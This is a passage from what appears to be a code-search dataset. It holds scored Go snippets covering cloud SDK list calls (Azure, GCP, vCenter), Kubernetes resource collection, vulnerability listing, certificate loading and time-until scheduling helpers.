fqdn+\"/AppsClient.ListConnectionStrings\")\n\t\tdefer func() {\n\t\t\tsc := -1\n\t\t\tif result.Response.Response != nil {\n\t\t\t\tsc = result.Response.Response.StatusCode\n\t\t\t}\n\t\t\ttracing.EndSpan(ctx, sc, err)\n\t\t}()\n\t}\n\tif err := validation.Validate([]validation.Validation{\n\t\t{TargetValue: resourceGroupName,\n\t\t\tConstraints: []validation.Constraint{{Target: \"resourceGroupName\", Name: validation.MaxLength, Rule: 90, Chain: nil},\n\t\t\t\t{Target: \"resourceGroupName\", Name: validation.MinLength, Rule: 1, Chain: nil},\n\t\t\t\t{Target: \"resourceGroupName\", Name: validation.Pattern, Rule: `^[-\\w\\._\\(\\)]+[^\\.]$`, Chain: nil}}}}); err != nil {\n\t\treturn result, validation.NewError(\"web.AppsClient\", \"ListConnectionStrings\", err.Error())\n\t}\n\n\treq, err := client.ListConnectionStringsPreparer(ctx, resourceGroupName, name)\n\tif err != nil {\n\t\terr = autorest.NewErrorWithError(err, \"web.AppsClient\", \"ListConnectionStrings\", nil, \"Failure preparing request\")\n\t\treturn\n\t}\n\n\tresp, err := client.ListConnectionStringsSender(req)\n\tif err != nil {\n\t\tresult.Response = autorest.Response{Response: resp}\n\t\terr = autorest.NewErrorWithError(err, \"web.AppsClient\", \"ListConnectionStrings\", resp, \"Failure sending request\")\n\t\treturn\n\t}\n\n\tresult, err = client.ListConnectionStringsResponder(resp)\n\tif err != nil {\n\t\terr = autorest.NewErrorWithError(err, \"web.AppsClient\", \"ListConnectionStrings\", resp, \"Failure responding to request\")\n\t\treturn\n\t}\n\n\treturn\n}", "title": "" }, { "docid": "a9c683c1606e073a2df7791f7ca07524", "score": "0.43827686", "text": "func GetResourcePoolList(vm *VM) ([]map[string]interface{}, error) {\n\tallRpList := make([]map[string]interface{}, 0)\n\t// set up session to vcenter server\n\tif err := SetupSession(vm); err != nil {\n\t\treturn nil, err\n\t}\n\n\t// get datacenter in the vcenter server\n\tdcMo, err := GetDatacenter(vm)\n\tif err != nil {\n\t\treturn nil, err\n\t}\n\n\tdc := object.NewDatacenter(vm.client.Client, dcMo.Self)\n\t// Set datacenter\n\tvm.finder.SetDatacenter(dc)\n\n\t// get resource pool list in the vcenter server\n\trpListPath := \"*/Resources\"\n\tfor n := 0; n < RESOURCE_POOL_DEPTH; n++ {\n\t\trpListPath = rpListPath + \"/*\"\n\t\tprop := []string{\"name\", \"runtime\", \"summary\", \"owner\", \"config\", \"overallStatus\"}\n\t\tallRpMo, _ := findResourcePoolListAtPath(vm, rpListPath, prop)\n\t\tfor _, rp := range allRpMo {\n\t\t\tcpuAllocation := rp.Config.CpuAllocation.GetResourceAllocationInfo()\n\t\t\tmemAllocation := rp.Config.MemoryAllocation.GetResourceAllocationInfo()\n\t\t\tcr := mo.ClusterComputeResource{}\n\t\t\terr := vm.collector.RetrieveOne(vm.ctx, rp.Owner, []string{\"name\"}, &cr)\n\t\t\tif err != nil {\n\t\t\t\treturn nil, err\n\t\t\t}\n\n\t\t\tallRpList = append(allRpList, map[string]interface{}{\n\t\t\t\t\"name\": rp.Name,\n\t\t\t\t\"respool_ref\": rp.Self.Value,\n\t\t\t\t\"cluster\": cr.Name,\n\t\t\t\t\"status\": rp.OverallStatus,\n\t\t\t\t\"cpu\": map[string]interface{}{\n\t\t\t\t\t\"share\": cpuAllocation.Shares.Shares,\n\t\t\t\t\t\"reservation\": cpuAllocation.Reservation,\n\t\t\t\t\t\"limit\": cpuAllocation.Limit,\n\t\t\t\t},\n\t\t\t\t\"memory\": map[string]interface{}{\n\t\t\t\t\t\"share\": memAllocation.Shares.Shares,\n\t\t\t\t\t\"reservation\": memAllocation.Reservation,\n\t\t\t\t\t\"limit\": memAllocation.Limit,\n\t\t\t\t},\n\t\t\t})\n\t\t}\n\t}\n\treturn allRpList, nil\n\n}", "title": "" }, { "docid": "38a789887ed530456a936ce31de6a3f1", "score": "0.43729225", "text": "func (client AppsClient) ListPublicCertificatesComplete(ctx context.Context, resourceGroupName string, name string) (result PublicCertificateCollectionIterator, err error) {\n\tif tracing.IsEnabled() {\n\t\tctx = tracing.StartSpan(ctx, fqdn+\"/AppsClient.ListPublicCertificates\")\n\t\tdefer func() {\n\t\t\tsc := -1\n\t\t\tif result.Response().Response.Response != nil {\n\t\t\t\tsc = result.page.Response().Response.Response.StatusCode\n\t\t\t}\n\t\t\ttracing.EndSpan(ctx, sc, err)\n\t\t}()\n\t}\n\tresult.page, err = client.ListPublicCertificates(ctx, resourceGroupName, name)\n\treturn\n}", "title": "" }, { "docid": "85b5ee208e85bd6f4496b630403003dc", "score": "0.4368674", "text": "func (r *GCPReader) ListSslPolicies(ctx context.Context, filter string) ([]compute.SslPolicy, error) {\n\tservice := compute.NewSslPoliciesService(r.compute)\n\n\tresources := make([]compute.SslPolicy, 0)\n\n\terr := service.List(r.project).\n\t\tFilter(filter).\n\t\tMaxResults(int64(r.maxResults)).\n\t\tPages(ctx, func(list *compute.SslPoliciesList) error {\n\t\t\tfor _, res := range list.Items {\n\t\t\t\tresources = append(resources, *res)\n\t\t\t}\n\t\t\treturn nil\n\t\t})\n\n\tif err != nil {\n\t\treturn nil, errors.Wrap(err, \"unable to list compute SslPolicy from google APIs\")\n\t}\n\n\treturn resources, nil\n\n}", "title": "" }, { "docid": "0ee32c42a7f248f4da4e6048d685b12f", "score": "0.43676075", "text": "func namespaceResourcesToCollect() []schema.GroupResource {\n\treturn []schema.GroupResource{\n\t\t// this is actually a group which collects most useful things\n\t\t{Resource: \"all\"},\n\t\t{Resource: \"configmaps\"},\n\t\t{Resource: \"egressfirewalls\"},\n\t\t{Resource: \"egressqoses\"},\n\t\t{Resource: \"events\"},\n\t\t{Resource: \"endpoints\"},\n\t\t{Resource: \"endpointslices\"},\n\t\t{Resource: \"networkpolicies\"},\n\t\t{Resource: \"persistentvolumeclaims\"},\n\t\t{Resource: \"poddisruptionbudgets\"},\n\t\t{Resource: \"secrets\"},\n\t\t{Resource: \"servicemonitors\"},\n\t}\n}", "title": "" }, { "docid": "422c85a5e15ea9352c24ed88ab0808c5", "score": "0.4353607", "text": "func (r *GlobalPublicDelegatedPrefixesService) List(project string) *GlobalPublicDelegatedPrefixesListCall {\n\tc := &GlobalPublicDelegatedPrefixesListCall{s: r.s, urlParams_: make(gensupport.URLParams)}\n\tc.project = project\n\treturn c\n}", "title": "" }, { "docid": "11df7eac987ba46fcc507825dbce8862", "score": "0.43478817", "text": "func (v *LogicalCloudClient) GetAll(project string) ([]LogicalCloud, error) {\n\n\t//Construct the composite key to select the entry\n\tkey := LogicalCloudKey{\n\t\tProject: project,\n\t\tLogicalCloudName: \"\",\n\t}\n\n\tvar resp []LogicalCloud\n\tvalues, err := v.util.DBFind(v.storeName, key, v.tagMeta)\n\tif err != nil {\n\t\treturn []LogicalCloud{}, pkgerrors.Wrap(err, \"Get Logical Clouds\")\n\t}\n\n\tfor _, value := range values {\n\t\tlc := LogicalCloud{}\n\t\terr = v.util.DBUnmarshal(value, &lc)\n\t\tif err != nil {\n\t\t\treturn []LogicalCloud{}, pkgerrors.Wrap(err, \"Unmarshaling values\")\n\t\t}\n\t\tresp = append(resp, lc)\n\t}\n\n\treturn resp, nil\n}", "title": "" }, { "docid": "dc2f39378bcbf63c1a0cf3b61f80d757", "score": "0.43360558", "text": "func GetAllVulnerabilities(\n\tprojectID,\n\tregistryHostname string,\n\tpageSize int32,\n) ([]*grafeaspb.Occurrence, error) {\n\tctx := context.Background()\n\tclient, err := containeranalysis.NewClient(ctx)\n\tif err != nil {\n\t\treturn nil, errors.Errorf(\"NewClient: %v\", err)\n\t}\n\tdefer client.Close()\n\n\tif pageSize <= 0 {\n\t\tpageSize = DefaultPageSize\n\t}\n\treq := &grafeaspb.ListOccurrencesRequest{\n\t\tParent: fmt.Sprintf(\"projects/%s\", projectID),\n\t\tFilter: fmt.Sprintf(\"kind = %q\", \"VULNERABILITY\"),\n\t\tPageSize: pageSize,\n\t}\n\n\tif registryHostname != \"\" {\n\t\tresourceURLPrefix := fmt.Sprintf(\"https://%s/%s/\", registryHostname, projectID)\n\t\tlogrus.Infof(\"checking all vulnerabilities in %s\", resourceURLPrefix)\n\t\treq.Filter = fmt.Sprintf(\"kind = %q AND has_prefix(resourceUrl, %q)\", \"VULNERABILITY\", resourceURLPrefix)\n\t}\n\n\tlogrus.Info(\"listing the vulnerabilities, will take a while...\")\n\tvar occurrenceList []*grafeaspb.Occurrence\n\tit := client.GetGrafeasClient().ListOccurrences(ctx, req)\n\tlogrus.Debug(\"got a list of occurrences\")\n\tfor {\n\t\tvar occ *grafeaspb.Occurrence\n\t\tvar err error\n\t\tocc, err = it.Next()\n\t\tif err == iterator.Done {\n\t\t\tbreak\n\t\t}\n\t\tif err != nil {\n\t\t\treturn nil, errors.Errorf(\"occurrence iteration error: %v\", err)\n\t\t}\n\t\tlogrus.Debug(\"updating the list of occurrences\")\n\t\toccurrenceList = append(occurrenceList, occ)\n\t}\n\tlogrus.Infof(\"done listing the vulnerabilities\")\n\n\treturn occurrenceList, err\n}", "title": "" }, { "docid": "11d89335548541b55a4385ff58bb5340", "score": "0.43230367", "text": "func (client AppsClient) ListBasicPublishingCredentialsPolicies(ctx context.Context, resourceGroupName string, name string) (result PublishingCredentialsPoliciesCollectionPage, err error) {\n\tif tracing.IsEnabled() {\n\t\tctx = tracing.StartSpan(ctx, fqdn+\"/AppsClient.ListBasicPublishingCredentialsPolicies\")\n\t\tdefer func() {\n\t\t\tsc := -1\n\t\t\tif result.pcpc.Response.Response != nil {\n\t\t\t\tsc = result.pcpc.Response.Response.StatusCode\n\t\t\t}\n\t\t\ttracing.EndSpan(ctx, sc, err)\n\t\t}()\n\t}\n\tif err := validation.Validate([]validation.Validation{\n\t\t{TargetValue: resourceGroupName,\n\t\t\tConstraints: []validation.Constraint{{Target: \"resourceGroupName\", Name: validation.MaxLength, Rule: 90, Chain: nil},\n\t\t\t\t{Target: \"resourceGroupName\", Name: validation.MinLength, Rule: 1, Chain: nil},\n\t\t\t\t{Target: \"resourceGroupName\", Name: validation.Pattern, Rule: `^[-\\w\\._\\(\\)]+[^\\.]$`, Chain: nil}}}}); err != nil {\n\t\treturn result, validation.NewError(\"web.AppsClient\", \"ListBasicPublishingCredentialsPolicies\", err.Error())\n\t}\n\n\tresult.fn = client.listBasicPublishingCredentialsPoliciesNextResults\n\treq, err := client.ListBasicPublishingCredentialsPoliciesPreparer(ctx, resourceGroupName, name)\n\tif err != nil {\n\t\terr = autorest.NewErrorWithError(err, \"web.AppsClient\", \"ListBasicPublishingCredentialsPolicies\", nil, \"Failure preparing request\")\n\t\treturn\n\t}\n\n\tresp, err := client.ListBasicPublishingCredentialsPoliciesSender(req)\n\tif err != nil {\n\t\tresult.pcpc.Response = autorest.Response{Response: resp}\n\t\terr = autorest.NewErrorWithError(err, \"web.AppsClient\", \"ListBasicPublishingCredentialsPolicies\", resp, \"Failure sending request\")\n\t\treturn\n\t}\n\n\tresult.pcpc, err = client.ListBasicPublishingCredentialsPoliciesResponder(resp)\n\tif err != nil {\n\t\terr = autorest.NewErrorWithError(err, \"web.AppsClient\", \"ListBasicPublishingCredentialsPolicies\", resp, \"Failure responding to request\")\n\t\treturn\n\t}\n\tif result.pcpc.hasNextLink() && result.pcpc.IsEmpty() {\n\t\terr = result.NextWithContext(ctx)\n\t\treturn\n\t}\n\n\treturn\n}", "title": "" }, { "docid": "7cf6eb00e175587f0caa3d6c1e92522c", "score": "0.43162847", "text": "func (r *InstanceGroupsService) AggregatedList(project string) *InstanceGroupsAggregatedListCall {\n\tc := &InstanceGroupsAggregatedListCall{s: r.s, urlParams_: make(gensupport.URLParams)}\n\tc.project = project\n\treturn c\n}", "title": "" }, { "docid": "d65966d121c792630023c863e9272806", "score": "0.43116307", "text": "func getCertificates() []tls.Certificate {\n\tcert, err := tls.LoadX509KeyPair(configs.UIConfig.WebService.PublicKey, configs.UIConfig.WebService.PrivateKey)\n\tif err != nil {\n\t\tlog.Fatal(\"Unable to load certificates, check the definition in etc/airshipui.json\")\n\t}\n\tvar certSlice []tls.Certificate\n\tcertSlice = append(certSlice, cert)\n\treturn certSlice\n}", "title": "" }, { "docid": "2f8e3505bd68f4bf6188d0c12bb477df", "score": "0.42978188", "text": "func (s *Server) ListCertificates(ctx context.Context, q *certificatepkg.RepositoryCertificateQuery) (*appsv1.RepositoryCertificateList, error) {\n\tif err := s.enf.EnforceErr(ctx.Value(\"claims\"), rbacpolicy.ResourceCertificates, rbacpolicy.ActionGet, \"\"); err != nil {\n\t\treturn nil, err\n\t}\n\tcertList, err := s.db.ListRepoCertificates(ctx, &db.CertificateListSelector{\n\t\tHostNamePattern: q.GetHostNamePattern(),\n\t\tCertType: q.GetCertType(),\n\t\tCertSubType: q.GetCertSubType(),\n\t})\n\tif err != nil {\n\t\treturn nil, err\n\t}\n\treturn certList, nil\n}", "title": "" } ]
fd8c6c69c11b6aebdb240842c734d798
TimeUntilOn returns the time until the schedule should be off
[ { "docid": "0161ddbb30ce1f8b0bb430ac4ce71bcd", "score": "0.86282116", "text": "func (s *Schedule) TimeUntilOn() *time.Duration {\n\tuntil := time.Until(s.OnTime)\n\treturn &until\n}", "title": "" } ]
[ { "docid": "956628f1c1b922e3a3f20d1954bb2b4b", "score": "0.79517233", "text": "func (s *Schedule) TimeUntilOff() *time.Duration {\n\tuntil := time.Until(s.OffTime)\n\treturn &until\n}", "title": "" }, { "docid": "f410d51a21b496d377d722fd2ad2956a", "score": "0.7093591", "text": "func (c *clock) Until(t time.Time) time.Duration { return time.Until(t) }", "title": "" }, { "docid": "488541d77c88f683e3ba59847e622326", "score": "0.6812122", "text": "func Until(t time.Time) time.Duration {\n\treturn clock.Until(t)\n}", "title": "" }, { "docid": "ba5ba8bae4e1c3a67e65f964ada81bdd", "score": "0.6773012", "text": "func TimeUntil(t time.Time, hour, min, sec int, nextDay bool) time.Duration {\n\ty, m, d := t.Date()\n\tnt := time.Date(y, m, d, hour, min, sec, 0, t.Location())\n\n\tif nextDay && nt.Before(t) {\n\t\tnt = nt.AddDate(0, 0, 1)\n\t}\n\n\treturn nt.Sub(t)\n}", "title": "" }, { "docid": "b3dc86aa81f9073daead242676aa8938", "score": "0.67690045", "text": "func (c *mockClock) Until(t time.Time) time.Duration {\n\treturn t.Sub(c.now)\n}", "title": "" }, { "docid": "659a5c64dd7ed2400946deeaf5afedf3", "score": "0.667315", "text": "func (o *Clock) Until(t time.Time) time.Duration {\n\treturn o.inner.Until(t) + o.offset\n}", "title": "" }, { "docid": "aba9aa2dfc7b6e757b85dba0dea8d58f", "score": "0.6666088", "text": "func (m *Mock) Until(t time.Time) time.Duration { return t.Sub(m.Now()) }", "title": "" }, { "docid": "56acaebad5477f9165c5dc56f619135d", "score": "0.64659506", "text": "func (s *scheduler) Until(until time.Time) *scheduler {\n\ts.until = until\n\treturn s\n}", "title": "" }, { "docid": "854a389d709ae4f6afb8b014c922cfb2", "score": "0.6322604", "text": "func SleepUntil(ctx context.Context, t time.Time) error {\n\treturn Sleep(ctx, t.Sub(timeNow()))\n}", "title": "" }, { "docid": "b58d17cda5ae8885c638da43f1128235", "score": "0.62735903", "text": "func (s *scheduler) getUntil() time.Time {\n\tif s.length > 0 {\n\t\treturn time.Now().Add(s.length)\n\t} else if !s.until.IsZero() {\n\t\treturn s.until\n\t}\n\n\t// humanity will be extinct long before this time, but if\n\t// needed this can be refactored when we transcend space-time\n\treturn time.Unix(1<<62, 0)\n}", "title": "" }, { "docid": "f919e6d2acadbcd08d977c38e2874c37", "score": "0.62277234", "text": "func (m *Mutex) Until() time.Time {\n\treturn m.until\n}", "title": "" }, { "docid": "47fba3ab6ef8a2cf0c03a7c18715e77e", "score": "0.6160473", "text": "func SleepUntil(t time.Time) {\n\tnow := time.Now()\n\tif !t.After(now) {\n\t\t// t <= now, the time has passed\n\t\treturn\n\t}\n\ttime.Sleep(t.Sub(now))\n}", "title": "" }, { "docid": "263d421ae6dd8411125d8199022108cd", "score": "0.6108038", "text": "func WaitUntil(ctx context.Context, t time.Time) error {\n\t// This garbage is a fucking retarded lint idea.\n\t// We therefore replace the readable `diff := t.Sub(time.Now())` line\n\t// into unreadable time.Until() crap.\n\tdiff := time.Until(t)\n\tif diff <= 0 {\n\t\treturn nil\n\t}\n\n\treturn WaitFor(ctx, diff)\n}", "title": "" }, { "docid": "9cbcb9857615dfc6bb02e5cedcc4ff9d", "score": "0.6107202", "text": "func Until(t time.Time) time.Duration { return impl.Load().(Implementation).Until(t) }", "title": "" }, { "docid": "81049a4494eab19d55b48493896664f0", "score": "0.5986188", "text": "func (o *Clock) SleepUntil(ctx context.Context, until time.Time) bool {\n\treturn o.inner.SleepUntil(ctx, until.Add(o.offset))\n}", "title": "" }, { "docid": "7b76fa9441e1308e6da19c80ee1e0988", "score": "0.5968111", "text": "func timeUntilSchedule(schedule string) (time.Duration, error) {\n\tnow := time.Now().UTC()\n\tlayout := \"2006-01-02T15:04:05Z\"\n\t// 根据时间格式解析出执行的时间\n\ts, err := time.Parse(layout, schedule)\n\tif err != nil {\n\t\treturn time.Duration(0), err\n\t}\n\treturn s.Sub(now), nil\n}", "title": "" }, { "docid": "3fea3c6d7dbff585866169452169b683", "score": "0.56391156", "text": "func (fn DelayFunc) Until(ctx context.Context, immediate, sliding bool, condition ConditionWithContextFunc) error {\n\treturn loopConditionUntilContext(ctx, &variableTimer{fn: fn, new: internalClock.NewTimer}, immediate, sliding, condition)\n}", "title": "" }, { "docid": "c9fa94625a357988262fbde62447b541", "score": "0.5591978", "text": "func Until(t time.Time, interval time.Duration) *Countdown {\n\treturn &Countdown{\n\t\tInterval: interval,\n\t\tDuration: t.Sub(timeFunc()),\n\t}\n}", "title": "" }, { "docid": "a9e4281398b3381d14e64b5d68ca2bd6", "score": "0.55684227", "text": "func SetTimeBetweenOn(t Trigger) option {\n\treturn func(s *Scheduler) {\n\t\ts.between = func() Trigger {\n\t\t\treturn t\n\t\t}\n\t}\n}", "title": "" }, { "docid": "b2e525e1aaf487811fd38dcbd29a138a", "score": "0.5440713", "text": "func SleepUntil(next int, dur time.Duration) time.Time {\n\ti := time.Duration(next) * dur\n\tt := time.Now().Round(i)\n\tif time.Since(t) >= 0 {\n\t\tt = t.Add(i)\n\t}\n\treturn t\n}", "title": "" }, { "docid": "ce99a0c1cba4ecad772edca8c9d587e7", "score": "0.54119855", "text": "func (o *GetScheduleParams) SetUntil(until *strfmt.DateTime) {\n\to.Until = until\n}", "title": "" }, { "docid": "8dc98526ea91f69c942dc6dfa8583542", "score": "0.540134", "text": "func (r *FirewallTopKRequest) SetUntil(until string) {\n r.Until = &until\n}", "title": "" }, { "docid": "d8a18734aa6c39638aae5858e8269fa8", "score": "0.5399779", "text": "func (c *clock) Since(t time.Time) time.Duration { return time.Since(t) }", "title": "" }, { "docid": "3da5317e881b1179a927b44d4b6f5870", "score": "0.5307913", "text": "func (b *MetricsRequestBuilder) EndingOn(v time.Time) *MetricsRequestBuilder {\n\tb.lastTimePeriod = v\n\treturn b\n}", "title": "" }, { "docid": "993f6f042b55728fb929d8d7478f51d0", "score": "0.5212689", "text": "func (m IndicationofInterest) GetValidUntilTime() (v time.Time, err quickfix.MessageRejectError) {\n\tvar f field.ValidUntilTimeField\n\tif err = m.Get(&f); err == nil {\n\t\tv = f.Value()\n\t}\n\treturn\n}", "title": "" }, { "docid": "993f6f042b55728fb929d8d7478f51d0", "score": "0.5212689", "text": "func (m IndicationofInterest) GetValidUntilTime() (v time.Time, err quickfix.MessageRejectError) {\n\tvar f field.ValidUntilTimeField\n\tif err = m.Get(&f); err == nil {\n\t\tv = f.Value()\n\t}\n\treturn\n}", "title": "" }, { "docid": "11d4be09621c098755116504d234f0cf", "score": "0.5172394", "text": "func (f *Flow) When() uint64 {\n\treturn f.runtime.Context().Time\n}", "title": "" }, { "docid": "442774e1e405412a1d55ba1ade4a7b5d", "score": "0.5158081", "text": "func (q *Router) WakeupTime() (time.Time, bool) {\n\treturn q.wakeupTime, q.wakeup\n}", "title": "" }, { "docid": "a2eb655660a574efd0b0da96ece4e171", "score": "0.5091661", "text": "func (el *EventLoop) DelayUntil(eventType, event interface{}) {\n\tel.mut.Lock()\n\tt := reflect.TypeOf(eventType)\n\tv := el.waitingEvents[t]\n\tv = append(v, event)\n\tel.waitingEvents[t] = v\n\tel.mut.Unlock()\n}", "title": "" }, { "docid": "7c558f37db0dc417d3e7d99ca49ad3b5", "score": "0.50891274", "text": "func (n *Aps_ApsModulePath) HoldOffTime() *Aps_ApsModule_HoldOffTimePath {\n\treturn &Aps_ApsModule_HoldOffTimePath{\n\t\tNodePath: ygot.NewNodePath(\n\t\t\t[]string{\"config\", \"hold-off-time\"},\n\t\t\tmap[string]interface{}{},\n\t\t\tn,\n\t\t),\n\t}\n}", "title": "" }, { "docid": "4dd1d760b05e4d7e83b72c5947b44647", "score": "0.5088129", "text": "func (m *Mock) Since(t time.Time) time.Duration { return m.Now().Sub(t) }", "title": "" }, { "docid": "3c0eb63f39a05c73880b1fb3e10f36ea", "score": "0.508134", "text": "func (m *ScheduleRequestBuilder) TimesOff()(*i49bb3bef27839d6b6c772c52798a99b9ec445098226c0138d02c56b11d27fc35.TimesOffRequestBuilder) {\n return i49bb3bef27839d6b6c772c52798a99b9ec445098226c0138d02c56b11d27fc35.NewTimesOffRequestBuilderInternal(m.pathParameters, m.requestAdapter);\n}", "title": "" }, { "docid": "0fb3cb451b5f38692b86ce4e09846427", "score": "0.50312555", "text": "func Since(t time.Time) time.Duration {\n\treturn clock.Since(t)\n}", "title": "" }, { "docid": "cfd72e100ca6b9da256da030aca74eae", "score": "0.50106657", "text": "func Until(test Test, task Task) error {\n\treturn Whilst(test.Negate(), task)\n}", "title": "" }, { "docid": "ca5f194a6067353a9bffc8f1a67930cb", "score": "0.49898934", "text": "func (o *OnTime) Get(t time.Time) (float64, bool) {\n\tindex := t.Truncate(time.Duration(o.unit)).Unix() % int64(o.Entire.Seconds())\n\tthreshold, ok := o.m[index]\n\treturn threshold, ok\n}", "title": "" }, { "docid": "ebdeb29a9c968aa427d0770c754bcc6d", "score": "0.4925363", "text": "func LockUntil(until time.Time) SendFundsOption {\n\treturn func(options *SendFundsOptions) error {\n\t\tif until.Before(time.Now()) {\n\t\t\treturn errors.New(\"can't timelock funds in the past\")\n\t\t}\n\t\tif until.After(constants.MaxRepresentableTime) {\n\t\t\treturn errors.Errorf(\"invalid timelock: %s is later, than max representable time %s\",\n\t\t\t\tuntil.String(), constants.MaxRepresentableTime.String())\n\t\t}\n\t\toptions.LockUntil = until\n\t\treturn nil\n\t}\n}", "title": "" }, { "docid": "98847f4e397952419a7d4fe1dceccd7c", "score": "0.49196988", "text": "func (i Instant) Until(i2 Instant) Duration {\n\tswitch {\n\tcase i.v == nil:\n\t\tpanic(\"i is not initialized\")\n\tcase i2.v == nil:\n\t\tpanic(\"i2 is not initialized\")\n\t}\n\n\tiv, vv := *i.v, *i2.v\n\tif vv < iv {\n\t\tpanic(\"v is smaller than i\")\n\t}\n\n\td := vv - iv\n\treturn DurationOf(Extent(d))\n}", "title": "" }, { "docid": "c0006f52772042286dbb9cabb80ceed0", "score": "0.49159655", "text": "func (c *mockClock) Since(t time.Time) time.Duration {\n\treturn c.now.Sub(t)\n}", "title": "" }, { "docid": "d3362600cafe9f61604ba1f9237cd420", "score": "0.49008995", "text": "func Until(f func(), period time.Duration, stopCh <-chan struct{}) {\n\tJitterUntil(f, period, 0.0, stopCh)\n}", "title": "" }, { "docid": "173465c436bcf8bc7b46730417ec4e39", "score": "0.48884115", "text": "func (c *Cruncher) isOver(t time.Time, hour bool) bool {\n var plusOne time.Time\n if hour {\n // Wait the end of the hour.\n plusOne = t.Add(time.Duration(1)*time.Hour)\n plusOne = time.Date(plusOne.Year(), plusOne.Month(), plusOne.Day(), plusOne.Hour(), 0, 0, 0, t.Location())\n } else {\n // Wait 3 minutes to be sure that twitter returned us every tweets.\n plusOne = t.Add(time.Duration(3)*time.Minute)\n plusOne = time.Date(plusOne.Year(), plusOne.Month(), plusOne.Day(), plusOne.Hour(), plusOne.Minute(), 0, 0, t.Location())\n }\n\n // Test that it's time to compute it\n if plusOne.Before(time.Now()) {\n return true\n }\n return false\n}", "title": "" }, { "docid": "2bc37ae6b4e49b611d5cd626a3bb90f1", "score": "0.48767322", "text": "func (n *Aps_ApsModulePathAny) HoldOffTime() *Aps_ApsModule_HoldOffTimePathAny {\n\treturn &Aps_ApsModule_HoldOffTimePathAny{\n\t\tNodePath: ygot.NewNodePath(\n\t\t\t[]string{\"config\", \"hold-off-time\"},\n\t\t\tmap[string]interface{}{},\n\t\t\tn,\n\t\t),\n\t}\n}", "title": "" }, { "docid": "ff1c2b70fcf816e3019a5f7aba660bff", "score": "0.48754373", "text": "func (oa OnceAtUTCSchedule) Next(after time.Time) time.Time {\n\tif after.IsZero() {\n\t\treturn oa.Time\n\t}\n\tif oa.Time.After(after) {\n\t\treturn oa.Time\n\t}\n\treturn Zero\n}", "title": "" }, { "docid": "3ce7ef8333984bdd0f27944848d9a302", "score": "0.48205438", "text": "func (i *Sprint) GetExpectedClosedAt() time.Time { return i.expectedClosedAt }", "title": "" }, { "docid": "647a87f246cbe3266a36a8ab621a20d1", "score": "0.48097706", "text": "func targetReadyTime(t v1alpha1.Target) time.Time {\n\tswitch t.Type {\n\tcase v1alpha1.TargetTypeServer:\n\t\tif t.State.Active != nil && t.State.Active.Ready {\n\t\t\treturn t.State.Active.StartTime.Time\n\t\t} else {\n\t\t\treturn time.Time{}\n\t\t}\n\tcase v1alpha1.TargetTypeJob:\n\t\tif t.State.Terminated != nil && t.State.Terminated.Error == \"\" {\n\t\t\treturn t.State.Terminated.FinishTime.Time\n\t\t} else {\n\t\t\treturn time.Time{}\n\t\t}\n\tdefault:\n\t\t_, _ = fmt.Fprintf(os.Stderr, \"target %s has unknown type %s\\n\", t.Name, t.Type)\n\t\treturn time.Time{}\n\t}\n}", "title": "" }, { "docid": "413a5823a8bd06d1fedf2885b3ffc9dc", "score": "0.48077178", "text": "func TimeIfZero(actual, deflt time.Time) time.Time {\n\tif actual.IsZero() {\n\t\treturn deflt\n\t}\n\treturn actual\n}", "title": "" }, { "docid": "15b3c9166fc8839d672aa948c9cbae60", "score": "0.47632867", "text": "func SleepUntilWithCancel(ctx context.Context, t time.Time) error {\n\tnow := time.Now()\n\tif now.After(t) {\n\t\t// Already after, directly return\n\t\treturn nil\n\t}\n\ttimer := time.NewTimer(t.Sub(now))\n\tdefer timer.Stop()\n\n\tselect {\n\tcase <-ctx.Done():\n\t\treturn ctx.Err()\n\tcase <-timer.C:\n\t\treturn nil\n\t}\n}", "title": "" }, { "docid": "b7f2744832615d010ded44ceff7fc85f", "score": "0.475251", "text": "func WakeUpTimeGT(v time.Time) predicate.User {\n\treturn predicate.User(func(s *sql.Selector) {\n\t\ts.Where(sql.GT(s.C(FieldWakeUpTime), v))\n\t})\n}", "title": "" }, { "docid": "2d6d5e3ffc6777535628752543c85b91", "score": "0.47477812", "text": "func SetTimeoutOn(t Trigger) option {\n\treturn func(s *Scheduler) {\n\t\ts.timeout = func() Trigger {\n\t\t\treturn t\n\t\t}\n\t}\n}", "title": "" }, { "docid": "718036a4ac9041248374aa20d6d436ab", "score": "0.4747396", "text": "func (m *ScheduleRequestBuilder) TimeOffReasons()(*ie5d5271becf3f8b7fe1400f8f22fed56b444f4b4d65ab9bddf1e300e584c7e39.TimeOffReasonsRequestBuilder) {\n return ie5d5271becf3f8b7fe1400f8f22fed56b444f4b4d65ab9bddf1e300e584c7e39.NewTimeOffReasonsRequestBuilderInternal(m.pathParameters, m.requestAdapter);\n}", "title": "" }, { "docid": "09c908d876ee741507391262f4ffd168", "score": "0.47382075", "text": "func waiter(t time.Time) <-chan time.Time {\n\treturn time.After(time.Until(t))\n}", "title": "" }, { "docid": "8826264713548e67c73192c9d4f42ac3", "score": "0.47241965", "text": "func (o *GetScheduleParams) WithUntil(until *strfmt.DateTime) *GetScheduleParams {\n\to.SetUntil(until)\n\treturn o\n}", "title": "" }, { "docid": "b8fb5231d818dcab0e3a665c5abcba2b", "score": "0.47236744", "text": "func lastScheduled(startHour *int, now time.Time) int64 {\r\n\tif startHour != nil {\r\n\t\tlast := weekday(withHour(now, *startHour))\r\n\t\tif last.After(now) {\r\n\t\t\tlast = weekday(last.AddDate(0, 0, -1))\r\n\t\t}\r\n\t\tlast = roundDownHour(last)\r\n\t\treturn last.Unix()\r\n\t}\r\n\treturn 0\r\n}", "title": "" }, { "docid": "7b9e917f35dd9068cd3ab9d2a3778a9d", "score": "0.47181982", "text": "func (_m *FakeClock) BlockUntil(n int) {\n\t_m.Called(n)\n}", "title": "" }, { "docid": "29654103e5c380b1503e3dd7deacd2fd", "score": "0.4712209", "text": "func WakeUpTime(v time.Time) predicate.User {\n\treturn predicate.User(func(s *sql.Selector) {\n\t\ts.Where(sql.EQ(s.C(FieldWakeUpTime), v))\n\t})\n}", "title": "" }, { "docid": "3f45b9d888f2d58b98790ffbdd25a986", "score": "0.47108954", "text": "func when(d time.Duration) time.Time {\n\tif d <= 0 {\n\t\treturn time.Now()\n\t}\n\treturn time.Now().Add(d)\n}", "title": "" }, { "docid": "fbaa771902d8a9e4341b9119b7deaa74", "score": "0.4704124", "text": "func EndOfTime() time.Time {\n\tendOfTimeMtx.RLock()\n\tv := endOfTime\n\tendOfTimeMtx.RUnlock()\n\treturn v\n}", "title": "" }, { "docid": "7f30f76411a021b665754193b9affee4", "score": "0.4683129", "text": "func (m *ScheduleRequestBuilder) 